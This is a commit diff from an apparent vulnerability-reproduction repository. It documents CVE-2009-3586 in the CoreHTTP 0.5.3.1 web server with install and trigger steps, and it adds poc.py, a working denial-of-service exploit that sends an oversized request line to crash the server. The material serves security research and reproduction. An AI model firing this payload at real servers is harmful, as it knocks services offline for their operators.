add info for CVE-2009-3586

CVE-2009-3586/README.md

@@ -1,19 +1,51 @@
-# CVE/EDB ID
+# CVE-2009-3586
 
 ## Experiment Environment
 
+
+
 ## INSTALL & Configuration
 
+```
+wget https://github.com/mudongliang/source-packages/raw/master/CVE-2009-3586/corehttp-0.5.3-patched.tar.gz
+
+tar -xvf corehttp-0.5.3-patched.tar.gz;
+cd corehttp/src;
+
+make;
+```
+
 ## Problems in Installation & Configuration
 
+1. Change the absolute path in chttp.conf;
+2. Use the patched version of corehttp(remove daemon mode and disable segment fault handler);
+
 ## How to trigger vulnerability
 
+Server:
+
+```
+./src/corehttp ./chttp.conf
+```
+
+Client:
+
+```
+python poc.py localhost 5555
+```
+
 ## PoCs
 
+[CoreHTTP Web server 0.5.3.1 - Off-by-One Buffer Overflow](https://www.exploit-db.com/exploits/10349/)
+
+[Corehttp 'src/http.c ' Buffer Overflow Vulnerability](https://www.securityfocus.com/bid/37237/exploit)
+
 ## Vulnerability Details & Patch
 
 ### Root Cause
 
 ### Stack Trace
 
+### Patch
+
 ## References

CVE-2009-3586/poc.py

@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+# corex.py -- Patroklos Argyroudis, argp at domain census-labs.com
+#
+# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1:
+#
+# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586
+#
+# For a detailed analysis see:
+#
+# http://census-labs.com/news/2009/12/02/corehttp-web-server/
+
+import os
+import sys
+import socket
+
+def main(argv):
+    argc = len(argv)
+
+    if argc != 3:
+        print "usage: %s <host> <port>" % (argv[0])
+        sys.exit(0)
+
+    host = argv[1]
+    port = int(argv[2])
+
+    print "[*] target: %s:%d" % (host, port)
+
+    payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n"
+
+    print "[*] payload: %s" % (payload)
+
+    sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    sd.connect((host, port))
+    sd.send(payload)
+    sd.close()
+
+if __name__ == "__main__":
+    main(sys.argv)
+    sys.exit(0)
+
+# EOF

README.md

@@ -137,9 +137,8 @@ If you encounter problems with keyword "Failed to lock files", you could try to
 - [x] CVE-2009-1886
 - [x] CVE-2009-2285
 - [x] CVE-2009-2286
-- [ ] CVE-2009-2950
 - [ ] CVE-2009-3050
-- [ ] CVE-2009-3586
+- [x] CVE-2009-3586
 - [x] CVE-2009-4134
 - [x] CVE-2009-4880
 - [x] CVE-2009-4881